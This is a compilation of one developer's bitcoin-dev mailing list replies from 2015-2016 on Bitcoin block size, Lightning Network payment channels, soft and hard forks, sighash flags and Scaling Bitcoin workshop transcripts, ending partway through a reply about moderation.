Re: [bitcoin-dev] Block size following technological growth

[Bryan Bishop via bitcoin-dev]

On Fri, Jul 31, 2015 at 7:15 AM, Mike Hearn via bitcoin-dev 
bitcoin-dev@lists.linuxfoundation.org wrote:

 He is not saying that. Whatever the reasons for centralization are, it
 is obvious that increasing the size won't help.


 It's not obvious. Quite possibly bigger blocks == more users == more nodes
 and more miners.


Well, even in a centralized scheme you can have more users, more nodes and
more miners. Just having more does not mean that the system isn't
centralized, for example we can point to many centralized services such as
PayPal that have trillions of users.


 To repeat: it's not obvious to me at all that everything wrong with
 Bitcoin can be solved by shrinking blocks. I don't think that's going to
 suddenly make everything magically more decentralised.


Nobody claimed that moving to smaller blocks would solve everything wrong
with Bitcoin.

You cannot destroy Bitcoin through centralization by adjusting a single
 constant in the source code.


Why not? That's exactly the sort of change that would be useful to do so,
in tandem with some forms of campaigning.


 The motivation is profit, and profits are higher when there are more users
 to sell to. This is business 101.


I am confused here; is that idea operating under an assumption (or rule)
like we shouldn't count aggregate transactions as representing multiple
other transactions from other users or something? I have seen this idea in
a few places, and it would be useful to get a fix on where it's coming
from. Does this belief extend to P2SH and multisig...?

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Why Satoshi's temporary anti-spam measure isn'ttemporary

[Bryan Bishop via bitcoin-dev]

On Thu, Jul 30, 2015 at 10:55 AM, Gavin Andresen gavinandre...@gmail.com
wrote:

 On Thu, Jul 30, 2015 at 11:24 AM, Bryan Bishop via bitcoin-dev 
 bitcoin-dev@lists.linuxfoundation.org wrote:

 Because any decentralized system is going to have high transaction costs
 and scarcity anyway.


 This is a meme that keeps coming up that I think just isn't true.


Specifically I was replying to the argument that went like the bitcoin
system, in any of its futures with a bunch of non-zero transaction fees, is
going to be replaced by a decentralized system that can commit to
transactions that have lower or zero transaction fees, and which also
otherwise provides the same benefits as bitcoin. My reply was that
decentralized systems are going to have physical limitations that force
their solutions to look certain ways, which would do something like, for
example, explain why there were $10 fees in that original scenario in the
first place. Your reply does not seem to share this context?

Also, I don't mean to start a discussion about internet architecture, but
ISP peering agreements do not look particularly like a cryptographic,
decentralized system to me at all. I agree that the internet needs better
architecture. I would call the IETF about this but I think Greg would be
the one to answer or something :-). Would be sorta redundant, heh.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Fees and the block-finding process

[Bryan Bishop via bitcoin-dev]

On Fri, Aug 7, 2015 at 1:17 PM, jl2012 via bitcoin-dev 
bitcoin-dev@lists.linuxfoundation.org wrote:

 No, I'm not trolling. I really want someone to tell me why we
 should/shouldn't reduce the block size. Are we going to have more or less
 full nodes if we reduce the block size?


Some arguments have floated around that even in the absence of causing an
increase in the number of full nodes, that a reduction of the max block
size might be beneficial for other reasons, such as bandwidth saturation
benefits. Also less time spent validating transactions because of the fewer
transactions.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] summarising security assumptions (re cost metrics)

[Bryan Bishop via bitcoin-dev]

On Sun, Nov 8, 2015 at 8:54 AM, Gavin Andresen via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> I'm very disappointed you don't mention the tradeoff at "the other end of
> the bathtub" -- Key-holder versus Validator decentralization balance


Gavin, could you please provide some clarity around the definition and
meaning of "key-holder [decentralization]"? Is this about the absolute
number of key-holders? or rather about the number of transactions (per unit
time?) that key-holders make? Both/other?

Anyone can generate a private key, and anyone can sign a transaction
spending to a new commitment. Child-pays-for-parent could be used when
transaction fees are too high. Perhaps more interesting would be something
like lightning network payment channels, where only the commitment
transaction needs to be in the blockchain history; does that count as
key-holder decentralization at all?

Also, consider the following scenario. Suppose there's a bunch of
merge-mined sidechains that are mainnet BTC-pegged, and these sidechains
are accessible by the lightning network protocol (multi-chain payments).
Suppose also that on the different sidechains there are different
transaction fee trends because of various technical differences underlying
consensus or a different blockchain implementation (who knows). When
someone routes payments to one of those different sidechains, because UTXOs
could be cheaper over there due to different fee pressures, ... would that
count as key-holder decentralization? Some of this scenario is described
here, although not in more detail:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-September/010909.html

Previously there has been the suggestion to use BTC-pegged merge-mined
chains to handle excess transaction demand:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/sharding-the-blockchain/
https://github.com/vbuterin/scalability_paper/blob/master/scalability.pdf
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2014-March/004797.html

I notice that in the Poon file there is a concern regarding "only 10 key
holders", but how does that scenario really work? I think the actual
scenario they mean to describe is "there's always a transaction backlog
where the fees are so high that lower fee transactions can never get
confirmations". So, more specifically, the scenario would have to be
"lightning network exists and is working, and no lightning node can ever
route enough different payments to commit to the blockchain under any
circumstance". How would that be possible? Wouldn't most participants
prefer the relatively instantaneous transactions of lightning, even if they
can afford extremely high fees? Seems like the settlements have all
necessary reason to actually happen, don't know what your concern is,
please send help.

I don't mean to put words in anyone's mouth, everything above is mostly
asking for clarification around definitions. Some of these questions are
repeats from:
http://gnusha.org/bitcoin-wizards/2015-11-08.log

Thank you.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Lightning Network's effect on miner fees

[Bryan Bishop via bitcoin-dev]

On Wed, Oct 14, 2015 at 10:19 AM, Paul Sztorc via bitcoin-dev
 wrote:
> However, the two are also perfect compliments, as LN transactions cannot take 
> place at all without periodic on-chain transactions.

Additionally, lightning network hot wallets are not an ideal place to
store large quantities of BTC and users that don't expect to be
actively using LN should in general prefer confirmed UTXOs for
long-term cold storage. So far the guess that I have seen floating
around is that LN usage will at first be restricted to very tiny
amounts of BTC in tiny hot wallets, since nobody is particularly
interested in running large hot wallets.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Open Block Chain Licence, BIP[xxxx] Draft

[Bryan Bishop via bitcoin-dev]

On Tue, Sep 1, 2015 at 8:30 AM, Ahmed Zsales via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> We believe the network requires a block chain licence


Here is a previous discussion of this topic (2012):
https://bitcointalk.org/index.php?topic=117663.0

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] [BIP/Draft] BIP Acceptance Process

[Bryan Bishop via bitcoin-dev]

On Thu, Sep 3, 2015 at 7:30 PM, Andy Chase via bitcoin-dev
 wrote:
> I wrote the BIP mostly to stir the pot on ideas of governance

Some quick comments:

I have some objects that I am not ready to put into words, but I do
think there are easily some major objections to committee design. If I
vanish and never respond with my objections, perhaps there's an IETF
RFC about this already

Something that may mitigate my possible objections would be some
mandatory requirement about ecosystem echo-chambers making many
attempts and efforts at steelman representations of alternative
viewpoints. Understanding objections at a fundamental level, enough to
make strong steelman statements, is very important to ensure that the
competing opinions are not censored from consideration. Pathological
integration and internalization of these steelman arguments can be
very useful, even if the process looks unusual.

Your process does not have to replace any particular BIP process
as-is, but rather could be an alternative that proceeds on its own
perhaps indefinitely without replacement. I don't think too many BIP
processes are necessarily incompatible except by namespace collision.

https://gist.github.com/andychase/dddb83c294295879308b#gistcomment-1566432

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

[bitcoin-dev] Multi-chain payment channel nodes

[Bryan Bishop via bitcoin-dev]

Here is a brief overview of a way to use something like the lightning
network, or another multi-hop payment channel network, to handle more
transactions per second.

These ideas were mentioned yesterday in #bitcoin-wizards and my email
does not significantly elaborate on any of it (search for
"cross-chain"):
http://gnusha.org/bitcoin-wizards/2015-09-01.log
http://gnusha.org/bitcoin-wizards/2015-09-02.log

Mailing list discussion of this can be found at [6] and on the forum at [7].

Summary
===

Payment channel network nodes could operate on multiple chains or
ledgers, especially if those ledgers are 2-way-peg compatible with
BTC. Payment network users may have a variety of different preferences
about security models or fees or any other number of system
properties, and this method can be more accomodating than only
offering mainnet UTXOs.

Terminology
===

During the IRC monologue I was using the word "hub" and "cross-chain
hubs" to describe a payment channel network node. Rusty Russell later
brought to my attention a good argument from Joseph Poon to prefer to
call them nodes, namely that "hub" implies centralization which isn't
really necessary to implicate in these designs. So I'll stick with
"node".

Vague requirements and scenario speculation
===

- bip70-like payment-channel-compatible wallet-to-wallet communication
protocol; useful for sender and receiver to negotiate how payment
should be routed over the payment channel network.

- assume existence of other ledgers with working 2-way-peg.

- lightning network[1], amiko pay[2], or some other payment channel
network with multi-hop payment routing

- (at least some) payment channel nodes which access more than one
blockchain or ledger system

- can be more than two chains or ledgers that the node opens channels
on or operate on (octoledger nodes?)

- node can eventually setup 2-way-pegs through moxiebox code embedded
in some opcode for a specification of an alternative federated ledger
(just kidding, there be dragons here)

Implication: Chain or ledger UTXO ambivalence
=

The sender (receiver) doesn't need to be concerned with which chain
the receiver (sender) wishes to transact with, as long as both parties
have wallets that can communicate with each other for fee negotiation
while payment channel routing happens.

Implication: UTXO preferences informed by fee pressures
===

An earlier identified implication by others has been that transaction
fee trends may influence when payment channel users choose to settle
on the main chain, because fees may be too high to make the tradeoffs
worthwhile for the user.

Transaction fee pressure on the bitcoin mainnet chain may influence
receivers, otherwise busy negotiating their payment channel payments,
to negotiate receipt of their UTXOs on alternative chains which might
be charging lower fees. Users that wish to settle to a ledger for a
lower fee can do so without paying for main chain transaction
prioritization.

(Concerns about market exchange rate of BTC even with the presence of
2-way-pegs could be alleviated by multi-chain nodes that practice
arbitrage. However, perhaps the financial markets will not bother
assigning different values to BTC-compatible UTXOs on different
sidechains? High mainnet fees may be reflected in market price
differences, maybe)

Minor lightning network protocol change
===

Add chain parameter to onion routing protocol message. Receipt of this
message was acknowledged by Rusty Russell yesterday. However, this
change alone may be insufficient to enable this described usage. Also
while I hope that onion routing continues to be the direction there's
no guarantee of course.

Other: Centralized ledgers
==

Centralized ledger operators, such as companies running spot
exchanges, could run payment channel nodes, allowing their users to
deposit and withdraw funds "immediately" subject to whether the
service provider is operating anything resembling a hot wallet. A
centralized ledger operator could be considered a valid multi-chain
destination in the above-mentioned imaginary lightning-compatible
payment protocol. Payment channel network programmers should not be
burdened with a thousand different standards for this ability, and
instead there should be an attempt at general compatibility, although
trustless implementations should be preferred if available.

Luke-Jr mentions that the same (currently imaginary) payment protocol
could also provide for user-to-user transfers on the same centralized
services, skipping the payment channels entirely.

Other
=

Here are some things that I have been meaning to look at, but haven't looked at:

- can we do probabilistic payments[3][4] over payment channels? does
it require all payments to be probabilistic payments?

- is lightning network + 

[bitcoin-dev] Some transcripts from the Scaling Bitcoin workshops

[Bryan Bishop via bitcoin-dev]

Hey while I was listening to the talks I also typed most of the words down.

Here are some talks from the Hong Kong workshop:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/bip99-and-uncontroversial-hard-forks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/fungibility-and-scalability/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/zero-knowledge-proofs-for-bitcoin-scalability-and-beyond/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/security-assumptions/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/in-adversarial-environments-blockchains-dont-scale/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/why-miners-will-not-voluntarily-individually-produce-smaller-blocks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/invertible-bloom-lookup-tables-and-weak-block-propagation-performance/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/bip101-block-propagation-data-from-testnet/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/segregated-witness-and-its-impact-on-scalability/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/overview-of-bips-necessary-for-lightning/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/network-topologies-and-their-scalability-implications-on-decentralized-off-chain-networks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/a-bevy-of-block-size-proposals-bip100-bip102-and-more/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/a-flexible-limit-trading-subsidy-for-larger-blocks/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/validation-cost-metric/

Also, here are some talks from the Montreal workshop:
http://diyhpl.us/wiki/transcripts/scalingbitcoin/alternatives-to-block-size-as-aggregate-resource-limits/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-block-propagation-iblt-rusty-russell/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-failure-modes-and-the-role-of-the-lightning-network/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/bitcoin-load-spike-simulation/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/block-synchronization-time/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/coinscope-andrew-miller/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/competitive-fee-market-urgency/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/issues-impacting-block-size-proposals/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/overview-of-security-concerns/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/relay-network/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/reworking-bitcoin-core-p2p-code-for-robustness-and-event-driven/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/sharding-the-blockchain/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/transaction-fee-estimation/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/validation-costs/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/roundgroup-roundup-1/
http://diyhpl.us/wiki/transcripts/scalingbitcoin/roundgroup-roundup-2/

These are not always exact transcripts because I am typing while I am
listening, thus there are mistakes including typos and listening errors, so
please keep this discrepancy in mind between what's said and what's typed.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Capacity increases for the Bitcoin system.

[Bryan Bishop via bitcoin-dev]

On Mon, Dec 7, 2015 at 4:02 PM, Gregory Maxwell wrote:
> The Scaling Bitcoin Workshop in HK is just wrapping up. Many fascinating
> proposals were presented. I think this would be a good time to share my
> view of the near term arc for capacity increases in the Bitcoin system. I
> believe we’re in a fantastic place right now and that the community
> is ready to deliver on a clear forward path with a shared vision that
> addresses the needs of the system while upholding its values.

ACK.

One of the interesting take-aways from the workshops for me has been
that there is a large discrepancy between what developers are doing
and what's more widely known. When I was doing initial research and
work for my keynote at the Montreal conference (
http://diyhpl.us/~bryan/irc/bitcoin/scalingbitcoin-review.pdf -- an
attempt at being exhaustive, prior to seeing the workshop proposals ),
what I was most surprised by was the discrepancy between what we think
is being talked about versus what has been emphasized or socially
processed (lots of proposals appear in text, but review efforts are
sometimes "hidden" in corners of github pull request comments, for
example). As another example, the libsecp256k1 testing work reached a
level unseen except perhaps in the aerospace industry, but these sorts
of details are not apparent if you are reading bitcoin-dev archives.
It is very hard to listen to all ideas and find great ideas.
Sometimes, our time can be almost completely exhausted by evaluating
inefficient proposals, so it's not surprising that rough consensus
building could take time. I suspect we will see consensus moving in
positive directions around the proposals you have highlighted.

When Satoshi originally released the Bitcoin whitepaper, practically
everyone-- somehow with the exception of Hal Finney-- didn't look,
because the costs of evaluating cryptographic system proposals is so
high and everyone was jaded and burned out for the past umpteen
decades. (I have IRC logs from January 10th 2009 where I immediately
dismissed Bitcoin after I had seen its announcement on the
p2pfoundation mailing list, perhaps in retrospect I should not let
family tragedy so greatly impact my evaluation of proposals...). It's
hard to evaluate these proposals. Sometimes it may feel like random
proposals are review-resistant, or designed to burn our time up. But I
think this is more reflective of the simple fact that consensus takes
effort, and it's hard work, and this is to be expected in this sort of
system design.

Your email contains a good summary of recent scaling progress and of
efforts presented at the Hong Kong workshop. I like summaries. I have
previously recommended making more summaries and posting them to the
mailing list. In general, it would be good if developers were to write
summaries of recent work and efforts and post them to the bitcoin-dev
mailing list. BIP drafts are excellent. Long-term proposals are
excellent. Short-term coordination happens over IRC, and that makes
sense to me. But I would point out that many of the developments even
from, say, the Montreal workshop were notably absent from the mailing
list. Unless someone was paying close attention, they wouldn't have
noticed some of those efforts which, in some cases, haven't been
mentioned since. I suspect most of this is a matter of attention,
review and keeping track of loose ends, which can be admittedly
difficult.

Short (or even long) summaries in emails are helpful because they
increase the ability of the community to coordinate and figure out
what's going on. Often I will write an email that summarizes some
content simply because I estimate that I am going to forget the
details in the near future, and if I am going to forget them then it
seems likely that others might This creates a broad base of
proposals and content to build from when we're doing development work
in the future, making for a much richer community as a consequence.
The contributions from the scalingbitcoin.org workshops are a welcome
addition, and the proposal outlined in the above email contains a good
summary of recent progress. We need more of this sort of synthesis,
we're richer for it. I am excitedly looking forward to the impending
onslaught of Bitcoin progress.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] fork types (Re: An implementation of BIP102 as a softfork.)

[Bryan Bishop via bitcoin-dev]

On Wed, Dec 30, 2015 at 5:05 PM, Adam Back via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> There is also another type of fork a firm hard fork that can do the
> same but for format changes that are not possible with a soft-fork.
>

I was drafting an email for a new thread with some links about this topic,
instead I'll just send this as a reply now that we are writing down fork
types...

auxiliary blocks and evil soft-forks or forced soft-forks:
https://bitcointalk.org/index.php?topic=283746.0
https://bitcointalk.org/index.php?topic=874313.0

soft-fork block size increase using extension blocks:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-May/008356.html

generalized soft-forks:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012073.html

bip102 forced soft-fork:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/012153.html

extension blocks were also discussed in this interview:
http://diyhpl.us/wiki/transcripts/bitcoin-sidechains-unchained-epicenter-adam3us-gmaxwell/
 also there was something about a "soft-hard fork".

some discussion from today re: origin of the term evil fork, evil
soft-fork, forced soft-fork:
https://www.reddit.com/r/Bitcoin/comments/3yrsxt/bitcoindev_an_implementation_of_bip102_as_a/cyg2g7q

some much older discussion about extension blocks and sidechains:
http://gnusha.org/bitcoin-wizards/2015-01-01.log

some discussion about "generalized soft-forks" and extension blocks and
evil soft-forks:
http://gnusha.org/bitcoin-wizards/2015-12-20.log

some discussion about evil forks and evil soft-forks and extension blocks:
http://gnusha.org/bitcoin-wizards/2015-12-30.log

segwit soft-fork makes use of a similar idea:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/011865.html
https://bitcoin.org/en/bitcoin-core/capacity-increases-faq
http://diyhpl.us/wiki/transcripts/scalingbitcoin/hong-kong/segregated-witness-and-its-impact-on-scalability/

Note: I am taking the term "forced soft-fork" from petertodd; it's pretty
much the same thing as "evil fork" in every way but intent.

This is an x-post from
https://bitcointalk.org/index.php?topic=1296628.msg13400092#msg13400092

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Block size: It's economics & user preparation & moral hazard

[Bryan Bishop via bitcoin-dev]

On Sat, Dec 26, 2015 at 5:15 PM, Justus Ranvier via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> On 12/26/2015 05:01 PM, Pieter Wuille via bitcoin-dev wrote:
> > I think the shortest reasonable timeframe for an uncontroversial
> > hardfork is somewhere in the range between 6 and 12 months.
>
> This argument would hold more weight if it didn't looks like a stalling
> tactic in context.
>

I think you'll find that there hasn't been stalling regarding an
uncontroversial hard-fork deployment. You might be confusing an
uncontroversial hard-fork decision instead with how developers have brought
up many issues about various (hard-forking) block size proposals I
suspect this is what you're intending to mention instead, given your
mention of "capacity emergencies" and also the subject line.


> 6 months ago, there was a concerted effort to being the process then,
> for exactly this reason.
>

The uncontroversial hard-fork proposals from 6 months ago were mostly along
the lines of jtimon's proposals, which were not about capacity. (Although,
I should say "almost entirely uncontroversial"-- obviously has been some
minor (and in my opinion, entirely solvable) disagreement regarding
prioritization of deploying a jtimon's uncontroversial hard-fork idea I
guess, seeing as how it has not yet happened.)


> After 6 months of denial, stonewalling, and generally unproductive
> fighting, the need for proactivity is being acknowledged with no
> reference to the delay.
>

There wasn't 6 months of "stonewalling" or "denial" about an
uncontroversial hard-fork proposal. There has been extensive discussion
regarding the controversial (flawed?) properties of other (block size)
proposals. But that's something else. Much of this has been rehashed ad
nauseum on this mailing list already...  thankfully I think your future
emails could be improved and made more useful if you were to read the
mailing list archives, try to employ more careful reasoning, etc. Thanks.


> If the network ever ends up making a hasty forced upgrade to solve a
> capacity emergency the responsibility for that difficulty will not fall
> on those who did their best to prevent emergency upgrades by planning
> ahead.
>

("Capacity emergency" is too ambiguous in this context because of the
competing concerns and tradeoffs regarding transaction rate capacity
exhaustion vs. p2p low-bandwidth node bandwidth exhaustion.)

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] On the security of softforks

[Bryan Bishop via bitcoin-dev]

On Fri, Dec 18, 2015 at 6:18 AM, Peter Todd via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Anyway, we should write this up as a BIP - there's been a tremendous
> amount of misinformation, even flat out lies, floating around on this
> subject.
>

Er, this sounds like something that should go into bip99. Right?

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Increasing the blocksize as a (generalized) softfork.

[Bryan Bishop via bitcoin-dev]

On Sun, Dec 20, 2015 at 4:56 AM, joe2015--- via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> An Arbitrary Block-size Increase Via a Generalized Softfork
>

This seems conceptually similar to "extension blocks":
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-May/008356.html
https://bitcointalk.org/index.php?topic=283746.0
http://gnusha.org/bitcoin-wizards/2015-12-20.log

"Extended blocks" are also mentioned over here too:
https://bitcointalk.org/index.php?topic=1296628.msg13307275#msg13307275

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] OP_CHECKWILDCARDSIGVERIFY or "Wildcard Inputs" or "Coalescing Transactions"

[Bryan Bishop via bitcoin-dev]

On Tue, Nov 24, 2015 at 11:34 AM, Chris Priest via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> **OP_CHECKWILDCARDSIGVERIFY**


Some (minor) discussion of this idea in -wizards earlier today starting
near near "09:50" (apologies for having no anchor links):
http://gnusha.org/bitcoin-wizards/2015-11-24.log

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] SIGHASH_NOINPUT in Segregated Witness

[Bryan Bishop via bitcoin-dev]

On Thu, Feb 25, 2016 at 7:07 PM, Joseph Poon wrote:
> This would be achieved using a SIGHASH flag, termed SIGHASH_NOINPUT. It
> does not include as part of the signature, the outpoint being spent
> (txid and index), nor the amount. It however, would include the spent
> outpoint's script as part of the signature. Note that this is just a

Well if you are bothering to draft up a BIP about that SIGHASH flag,
then perhaps also consider some other SIGHASH flag types as well while
you are at it?

Various proposed sighash types:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010759.html

"Build your own nHashType" proposal draft:
https://github.com/scmorse/bitcoin-misc/blob/master/sighash_proposal.md

jl2012's reply:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-August/010779.html

petertodd's reply about OP_CODESEPARATOR linked back to this thread
regarding "Build your own nHashType":
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007771.html
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/007802.html
http://gnusha.org/bitcoin-wizards/2014-12-09.log

((That particular thread had other replies which can be viewed here:
http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-April/thread.html
))

Also, there was a draft implementation of SIGHASH_NOINPUT:
https://github.com/Roasbeef/bitcoin/commit/4b3c3f1baf7985208ceb6887261ee150ab6e3328
https://github.com/Roasbeef/btcd/commit/67830e506fa135d5239177340918cea39909e6a4

FWIW there was some concern about replay using SIGHAHS_NOINPUT or something:
http://gnusha.org/bitcoin-wizards/2015-04-07.log

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Segregated Witness App Development

[Bryan Bishop via bitcoin-dev]

On Tue, Jan 19, 2016 at 10:27 AM, Mark Friedenbach via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> Wouldn't this be entirely on topic for #bitcoin-dev? It's probably better
> not to fragment the communication channels and associated infrastructure
> (logs, bots, etc.)


Yeah, I agree that this is on topic for #bitcoin-dev. I think that if
segwit discussion got to the point of clouding out all other development
discussions, then perhaps it would be time for a new channel. I would
definitely like to see segwit discussion not fragmented into a separate
venue.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Hardfork to fix difficulty drop algorithm

[Bryan Bishop via bitcoin-dev]

On Wed, Mar 2, 2016 at 8:56 AM, Luke Dashjr wrote:

> We are coming up on the subsidy halving this July, and there have been some
>

Luke,

One reason "hard-fork to fix difficulty drop algorithm" could be
controversial is that the proposal involves a hard-fork (perhaps
necessarily so, at my first and second glance). There are a number of
concerns with hard-forks including security, deployment, participation,
readiness measurement, backwards incompatibility, etc. In fact, some
Bitcoin Core developers believe that hard-forks are not a good idea and
should not be used.

# Hard-forks

An interesting (unspoken?) idea I’ve heard from a few people has been “we
should try to avoid all hard-forks because they are backwards
incompatible”, another thought has been "there should only be one more
hard-fork if any" and/or "there should only be one hard-fork every 30
years". I also recognize feedback from others who have mentioned "probably
unrealistic to expect that the consensus layer can be solidified this early
in Bitcoin's history". At the same time there are concerns about “slippery
slopes”

Also, if you are going to participate in a hard-fork then I think you
should make up some proposals for ensure minimal monetary loss on the old
(non-hard-forked) chain, especially since your proposed timeline is so
short seems reasonable to expect even more safety-related due diligence to
minimize money loss (such as using a new address prefix on the hard-forked
upgrade). Anyway, it should be clear that hard-forks are an unsettled issue
and are controversial in ways that I believe you are already aware about.

# Have miners gradually reduce their hashrate instead of using a step
function cliff

adam3us recently proposed that miners who are thinking of turning off
equipment should consider gradually ramping down their hashrate, as a show
of goodwill (and substantial loss to themselves, similar to how they would
incur losses from no longer mining after the halving). This is not
something the consensus algorithm can enforce at the moment, and this
suggestion does not help under adversarial conditions. Since this
suggestion does not require a hard-fork, perhaps some effort should be made
to query miners and figure out if they need assistance with implementing
this (if they happen to be interested).

# Contingency planning

Having said all of the negative things above about hard-forks, I will add
that I do actually like the idea of having backup plans available and
tested and gitian-built many weeks ahead of expected network event dates.
Unfortunately this might encourage partial consensus layer hard-forks in
times of extreme uncertainty such as "emergencies" creating an even
further emergency.

# "Indefinite backlog growth"

You write "the backlog would grow indefinitely until the adjustment
occurs". This seems to be expected behavior regardless of difficulty
adjustment (in fact, a backlog could continue to grow even once difficulty
adjusts downward), and the consensus protocol does not commit to
information regarding that backlog anyway...

# Difficulty adjustment taking time is expected

This is an expected part of the protocol, it's been mentioned since
forever, it's well known and accounted for. Instead, we should be providing
advice to users about which alternative payment systems they should be
using if they expect instantaneous transaction confirmations. This has been
a long-standing issue, and rolling out a hard-fork is not going to fix
mistaken assumptions from users. They will still think that confirmations
were meant to be instantaneous regardless of how many hard-forks you choose
to deploy.

- Bryan
http://heybryan.org/
1 512 203 0507
___
bitcoin-dev mailing list
bitcoin-dev@lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-dev

Re: [bitcoin-dev] Compact Block Relay BIP

[Bryan Bishop via bitcoin-dev]

On Mon, May 9, 2016 at 8:57 AM, Tom via bitcoin-dev <
bitcoin-dev@lists.linuxfoundation.org> wrote:

> The moderators failed to catch his aggressive tone while moderating my post
> (see archives) for being too aggressive.
>

IIRC you were previously informed by moderators (on the same reddit thread
to which you refer) that it would seem you had canceled your email from the
moderation queue, contrary to your retelling above. This is now reaching
far into off-topic and further posts on this subject should be sent to
